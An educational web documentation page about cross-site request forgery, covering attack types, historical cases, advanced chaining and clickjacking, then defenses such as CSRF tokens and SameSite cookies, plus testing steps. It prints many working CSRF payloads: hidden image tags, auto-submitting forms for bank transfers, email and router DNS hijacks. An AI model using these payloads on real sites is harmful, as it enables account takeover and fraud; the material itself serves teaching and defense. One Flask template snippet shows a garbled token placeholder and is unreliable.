Documentation

# Cross-Site Request Forgery (CSRF) Attacks

HIGH SEVERITY OWASP TOP 10 SESSION ATTACK

CSRF Attack Illustration
CSRF Attack Illustration

Imagine a con artist who forges your signature on a blank check while you aren't looking, and the bank accepts it because the signature looks real. That's essentially what Cross-Site Request Forgery (CSRF) does - it tricks your browser into performing actions you never intended, using your authenticated session.

CSRF is often confused with XSS (Cross-Site Scripting), but they're different:

  • XSS steals your data (like passwords or cookies)
  • CSRF steals your actions (like transferring money or changing your password)

Simple Example: While you're logged into your bank, you visit a malicious website. That website secretly sends a request to your bank saying "Transfer $5,000 to account X" - and because you're logged in, the bank thinks YOU made that request!


# What is CSRF? (In Simple Terms)

When you log into a website (like your bank or social media), the website gives your browser a "session cookie" that says "This is John Doe, he's logged in." Every time your browser talks to that website, it automatically sends this cookie to prove you're logged in.

The Problem: Your browser sends this cookie with EVERY request to that website - even if the request didn't actually come from you!

CSRF exploits this by tricking your browser into making a request you didn't intend. The website receives the request with your valid session cookie and thinks you made it.

# Real-World Analogies

  • You have a checkbook (your logged-in session)
  • A criminal writes a check in your name and forges your signature (malicious website sends request)
  • The bank cashes the check because the signature looks real (website accepts request with your cookie)
  • Money leaves your account, but you never wrote that check!

Imagine your TV remote works through walls. Your neighbor figures this out and starts changing your channels from their apartment. Your TV obeys because it receives valid signals - it doesn't know the signals are coming from next door, not from you!

You give your assistant a stamped letter authorizing bank transactions. An attacker steals the stamp and writes "Give all money to attacker" on their own letter. The bank sees your stamp and executes the transfer - they can't tell you didn't write that letter.


# How CSRF Works (The Step-by-Step Story)

Let's see how a real CSRF attack happens:

Scenario: Bank Transfer Attack

1. You visit yourbank.com
2. You log in successfully
3. Bank gives your browser a session cookie: session_id=abc123
4. You browse your account, check balance, etc.
1. In another tab, you visit evilsite.com (could be from phishing email)
2. evilsite.com looks harmless - maybe a funny cat video site
3. But hidden in the page is malicious code...
[Image Tag Attack]
<!-- Hidden on evilsite.com -->
<img src="https://yourbank.com/transfer?to=attacker&amount=5000" style="display:none;">
[Auto-Submit Form]
<form id="csrf-form" action="https://yourbank.com/transfer" method="POST" style="display:none;">
    <input name="to" value="attacker_account">
    <input name="amount" value="5000">
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
1. Your browser sees the request to yourbank.com
2. It automatically includes your session cookie (session_id=abc123)
3. Request sent: "Transfer $5,000 to attacker's account"
4. Cookie sent: "This request is from authenticated user John Doe"
1. Bank receives request with valid session cookie
2. Bank thinks: "John Doe is logged in and wants to transfer money"
3. Bank executes the transfer
4. $5,000 disappears from your account
5. You never clicked "Transfer" - you were just looking at cat videos!

# Types of CSRF Attacks

# 1. GET-based CSRF

COMMON EASY TO EXPLOIT

The Vulnerability: Using GET requests for state-changing operations (transfers, deletions, updates).

Attack Vector:

[Image Tag]
<!-- Simple image tag attack -->
<img src="https://bank.com/transfer?to=attacker&amount=1000">
[Link]
<!-- Link attack -->
<a href="https://bank.com/delete-account?confirm=yes">Click here for free money!</a>
[Hidden Iframe]
<!-- Hidden iframe -->
<iframe src="https://socialmedia.com/post?status=I%20got%20hacked!" style="display:none;"></iframe>

Real Example - Router Attack:

Many home routers have admin panels at 192.168.1.1. Attackers use:

<img src="http://192.168.1.1/admin/change-password?new=hacker123">

# 2. POST-based CSRF

HIGH IMPACT HARDER BUT POSSIBLE

The Vulnerability: POST requests are not immune to CSRF!

Attack Vector:

<!-- Auto-submitting form -->
<body onload="document.forms[0].submit()">
    <form action="https://email.com/change-email" method="POST">
        <input type="hidden" name="new_email" value="attacker@evil.com">
    </form>
</body>

Attack Workflow:

Victim visits attacker's page

Page automatically submits form

Victim's email address changes to attacker's

Attacker uses "Forgot Password" to take over account

# 3. JSON-based CSRF

API ATTACK MODERN

The Vulnerability: APIs that accept JSON but don't verify CSRF tokens.

Attack Vector:

<script>
    fetch('https://api.example.com/change-password', {
        method: 'POST',
        credentials: 'include',  // Include cookies
        headers: {
            'Content-Type': 'application/json'
        },
        body: JSON.stringify({
            new_password: 'hacked123'
        })
    });
</script>

# 4. Login CSRF

TRICKY REVERSE ATTACK

The Vulnerability: Forcing a victim to log into attacker's account.

Attack Purpose: Make victim save sensitive data (credit card, search history) into attacker's account.

Attack Vector:

<!-- Forces login to attacker's account -->
<form action="https://shopping.com/login" method="POST">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="attackerpass">
</form>
<script>
    document.forms[0].submit();
</script>

Victim clicks malicious link

Gets logged into attacker's account (without realizing)

Shops and saves credit card to "their" account

Attacker now has victim's credit card in attacker's account


# Real-World Attack Scenarios

# Scenario 1: Social Media Worm (YouTube 2008)

MASS IMPACT SELF-PROPAGATING

The Attack:

A CSRF vulnerability in YouTube allowed attackers to:

  • Force users to subscribe to channels
  • Force users to rate videos
  • Force users to add videos to favorites

How It Worked:

<!-- Embedded on malicious site -->
<img src="https://youtube.com/watch?v=VIDEO_ID&rating=5&subscribe=1">

Impact:

  • Thousands of users automatically subscribed to attacker's channel
  • Videos artificially boosted in rankings
  • Self-propagating through embedded videos

# Scenario 2: Netflix Account Hijacking (2006)

ACCOUNT TAKEOVER FULL COMPROMISE

The Attack:

Netflix had CSRF vulnerability in:

  • Email change functionality
  • Password change functionality
  • Account settings

Attack Flow:

<!-- Change victim's email -->
<form action="https://netflix.com/account/change-email" method="POST">
    <input name="email" value="attacker@evil.com">
</form>
<!-- Then use "Forgot Password" -->
<!-- New password sent to attacker's email -->

Impact:

  • Complete account takeover
  • Access to viewing history, payment methods
  • Ability to lock out original owner

# Scenario 3: Home Router Hijacking

NETWORK COMPROMISE MitM ATTACK

The Attack:

Home routers often have default admin interfaces at 192.168.1.1 with weak CSRF protection.

Attack Payload:

<!-- Malicious website visited by victim -->
<img src="http://192.168.1.1/admin/dns?server=evil-dns-server.com">

Attack Workflow:

Victim browses internet at home

Clicks malicious link or visits compromised website

Hidden request changes router's DNS settings

All internet traffic now goes through attacker's DNS

Attacker can redirect victim to phishing sites

Impact:

  • Man-in-the-middle attacks on all devices
  • Credential theft
  • Malware distribution

# Scenario 4: Banking Fraud

FINANCIAL LOSS BILLIONS LOST

The Attack:

<!-- Hidden on entertainment website -->
<form action="https://targetbank.com/api/transfer" method="POST" style="display:none;">
    <input name="to_account" value="999-88-7777">
    <input name="amount" value="5000">
    <input name="memo" value="Payment">
</form>
<script>
    // Wait 5 seconds (user is distracted)
    setTimeout(() => {
        document.forms[0].submit();
    }, 5000);
</script>

Impact:

  • Unauthorized fund transfers
  • Billions lost globally to CSRF banking attacks
  • Difficult to trace - appears to come from legitimate user

# Advanced CSRF Techniques

# 1. Using Multiple Requests

CHAINED ATTACK

Attack Chain:

<!-- First change email -->
<img src="https://site.com/change-email?email=attacker@evil.com">

<!-- Wait 2 seconds -->
<script>
    setTimeout(() => {
        // Then change password
        document.getElementById('pwdForm').submit();
    }, 2000);
</script>

<form id="pwdForm" action="https://site.com/change-password" method="POST" style="display:none;">
    <input name="password" value="hacked123">
</form>

# 2. Clickjacking + CSRF

COMBINED ATTACK

Combined Attack:

<!-- Transparent iframe overlay -->
<iframe src="https://bank.com/confirm-transfer?amount=10000"
        style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;">
</iframe>

<!-- Visible fake button underneath -->
<button style="position:absolute; top:200px; left:300px;">
    Click here for free iPad!
</button>

# 3. CSRF with File Upload

FILE SYSTEM

Attack:

<form action="https://site.com/upload-avatar" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="avatar" value="malicious_file.php">
</form>
<script>
    // Upload malicious file as victim's avatar
    document.forms[0].submit();
</script>

# Prevention and Mitigation

# 1. CSRF Tokens (Synchronizer Token Pattern)

PRIMARY DEFENSE

How It Works:

  1. Server generates random, unpredictable token for each session
  2. Token included in forms and required for state-changing requests
  3. Attacker can't guess or obtain this token (if CORS is configured correctly)

Implementation Examples:

[Python (Flask)]
from flask_wtf.csrf import CSRFProtect

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
csrf = CSRFProtect(app)

# In template
<form method="POST">
    {{ ERROR }}
    <input name="email">
    <button>Update Email</button>
</form>

# Server validates automatically
@app.route('/change-email', methods=['POST'])
def change_email():
    # CSRF token checked automatically by decorator
    email = request.form.get('email')
    current_user.email = email
    db.session.commit()
    return "Email updated"
[Node.js (Express)]
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });

app.get('/form', csrfProtection, (req, res) => {
    // Generate token
    res.render('form', { csrfToken: req.csrfToken() });
});

app.post('/update', csrfProtection, (req, res) => {
    // Token validated automatically
    // If invalid, request is rejected
    res.send('Data updated');
});
[HTML Form]
<!-- In form -->
<form action="/update" method="POST">
    <input type="hidden" name="_csrf" value="">
    <input name="data">
    <button>Submit</button>
</form>
[PHP]
<?php
session_start();

// Generate CSRF token
if (!isset($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// In form
?>
<form method="POST">
    <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
    <input name="email">
    <button>Update</button>
</form>

<?php
// Validate on submit
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
        die('CSRF token validation failed');
    }

    // Process request
    $email = $_POST['email'];
    // Update email...
}
?>

# 2. SameSite Cookie Attribute

MODERN DEFENSE

Modern Defense:

// Set cookie with SameSite attribute
res.cookie('session', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'Strict'  // or 'Lax'
});

SameSite Values:

Cookie only sent on same-site requests

sameSite: 'Strict'
// Cookie sent: user clicks link on yoursite.com → yoursite.com
// Cookie NOT sent: user clicks link on evilsite.com → yoursite.com

Cookie sent on same-site requests and top-level GET navigation

sameSite: 'Lax'
// Cookie sent: user types yoursite.com in browser
// Cookie sent: user clicks link: <a href="yoursite.com">
// Cookie NOT sent: <img src="yoursite.com/transfer">
// Cookie NOT sent: fetch() from another domain

Cookie always sent (must use with Secure)

sameSite: 'None'  // Requires secure: true
// Same as old behavior - sent on all requests

Best Practice:

res.cookie('session', sessionId, {
    httpOnly: true,      // Prevents JavaScript access
    secure: true,        // HTTPS only
    sameSite: 'Lax',    // CSRF protection
    maxAge: 3600000      // 1 hour
});

# 3. Double Submit Cookie Pattern

STATELESS

How It Works:

  1. Set random value in cookie
  2. Require same value in request parameter
  3. Attacker can't read cookie due to Same-Origin Policy

Implementation:

// Express.js
const crypto = require('crypto');

app.get('/form', (req, res) => {
    // Generate random token
    const token = crypto.randomBytes(32).toString('hex');

    // Set as cookie
    res.cookie('csrf-token', token, {
        httpOnly: false,  // JavaScript needs to read this
        sameSite: 'Strict'
    });

    res.render('form', { csrfToken: token });
});

app.post('/update', (req, res) => {
    const cookieToken = req.cookies['csrf-token'];
    const bodyToken = req.body.csrf_token;

    // Tokens must match
    if (!cookieToken || !bodyToken || cookieToken !== bodyToken) {
        return res.status(403).send('CSRF validation failed');
    }

    // Process request
    res.send('Updated');
});

# 4. Custom Request Headers

API PROTECTION

For AJAX/Fetch Requests:

// Frontend
fetch('/api/transfer', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRF-Token': getCsrfToken(),  // Get from meta tag
        'X-Requested-With': 'XMLHttpRequest'
    },
    credentials: 'include',
    body: JSON.stringify({ amount: 100 })
});
// Backend validation
app.post('/api/transfer', (req, res) => {
    const csrfToken = req.headers['x-csrf-token'];

    if (!csrfToken || !validateToken(csrfToken)) {
        return res.status(403).json({ error: 'Invalid CSRF token' });
    }

    // Process transfer
});

# 5. Origin and Referer Header Validation

DEFENSE IN DEPTH

Check Request Origin:

app.post('/api/update', (req, res) => {
    const origin = req.headers.origin || req.headers.referer;
    const allowedOrigins = [
        'https://yoursite.com',
        'https://www.yoursite.com'
    ];

    if (!origin || !allowedOrigins.some(allowed => origin.startsWith(allowed))) {
        return res.status(403).send('Invalid origin');
    }

    // Process request
});

# 6. User Interaction Requirements

CRITICAL ACTIONS

For Critical Actions:

[Re-authentication]
// Require re-authentication for sensitive operations
app.post('/delete-account', requireRecentAuth, (req, res) => {
    // User must have logged in within last 5 minutes
    if (Date.now() - req.session.lastAuth > 300000) {
        return res.redirect('/re-authenticate?return=/delete-account');
    }

    // Process deletion
});
[Password Confirmation]
<!-- Or require password confirmation -->
<form method="POST">
    <p>To delete your account, enter your password:</p>
    <input type="password" name="confirm_password" required>
    <button>Delete Account</button>
</form>

# Testing for CSRF Vulnerabilities

# Manual Testing Checklist

TESTING GUIDE

Look for requests that:

  • Change data (POST, PUT, DELETE)
  • Perform actions (transfer money, post content, change settings)

Use browser DevTools or Burp Suite to see the request.

Look for:

  • CSRF tokens in forms
  • SameSite cookie attributes
  • Custom headers required
<!-- test-csrf.html -->
<html>
<body>
    <h1>CSRF Test</h1>
    <form action="https://targetsite.com/change-email" method="POST">
        <input name="email" value="attacker@test.com">
        <button>Test CSRF</button>
    </form>
</body>
</html>
  1. Log into target site (Tab 1)
  2. Open test-csrf.html (Tab 2)
  3. Click submit
  4. Check if action succeeded

If successful: CSRF vulnerability exists!

# Automated Testing

[Burp Suite]
1. Capture request in Burp Proxy
2. Right-click → Engagement tools → Generate CSRF PoC
3. Test generated HTML in browser
[OWASP ZAP]
# Built-in CSRF scanner
# Active scan detects missing tokens
[Custom Python Script]
import requests

# Login to site
session = requests.Session()
session.post('https://target.com/login', data={
    'username': 'test',
    'password': 'test123'
})

# Try CSRF attack from different origin
csrf_test = requests.post(
    'https://target.com/change-email',
    data={'email': 'attacker@test.com'},
    cookies=session.cookies,
    headers={
        'Origin': 'https://evil.com',
        'Referer': 'https://evil.com'
    }
)

if csrf_test.status_code == 200:
    print("[VULNERABLE] CSRF attack succeeded!")
else:
    print("[PROTECTED] CSRF attack blocked")

# CSRF vs XSS: Key Differences

Aspect CSRF XSS
What it attacks Your actions Your data
Attack goal Make you do something Steal your information
Requires You to be logged in Vulnerable input field
Example Transfer money without consent Steal your session cookie
Protection CSRF tokens, SameSite cookies Output encoding, CSP
Visibility Completely invisible Might show unusual behavior

Simple Comparison:

  • XSS: "Let me see your password"
  • CSRF: "Let me use your password without your knowledge"

# Summary: What You Need to Remember

CSRF (Cross-Site Request Forgery) tricks your browser into performing actions you never intended by exploiting your authenticated session. While you're logged into a website, a malicious site can make requests on your behalf.

The Simple Version:

  • What it is: Like someone forging your signature on a check - the bank can't tell you didn't sign it
  • Why it's dangerous: Can transfer money, change passwords, post content - all without your knowledge
  • How to prevent it: CSRF tokens and SameSite cookies verify requests actually came from your site

Real-World Impact:

  • Netflix: Account hijacking (2006)
  • YouTube: Forced subscriptions (2008)
  • Banking: Billions in fraudulent transfers globally

Key Difference from XSS:

  • XSS steals your DATA (cookies, passwords)
  • CSRF steals your ACTIONS (transfers, posts, changes)

# Quick Protection Checklist

For Website Owners & Developers:

DO Use CSRF tokens for all state-changing requests DO Set SameSite cookie attribute (Strict or Lax) DO Use POST for state-changing operations, never GET DO Validate Origin/Referer headers DO Require re-authentication for sensitive actions DO Use framework built-in CSRF protection

DON'T Use GET requests for actions (transfers, deletions, updates) DON'T Trust requests just because they include session cookies DON'T Disable CSRF protection "temporarily" (and forget to re-enable) DON'T Use predictable or short CSRF tokens DON'T Accept requests from any origin without validation

For Regular Users:

TIP Log out of sensitive sites (banking) when done TIP Don't click suspicious links while logged into important accounts TIP Use separate browsers for banking vs casual browsing TIP Clear cookies regularly TIP Be cautious of shortened URLs in emails


# Additional Resources


Last updated: November 2025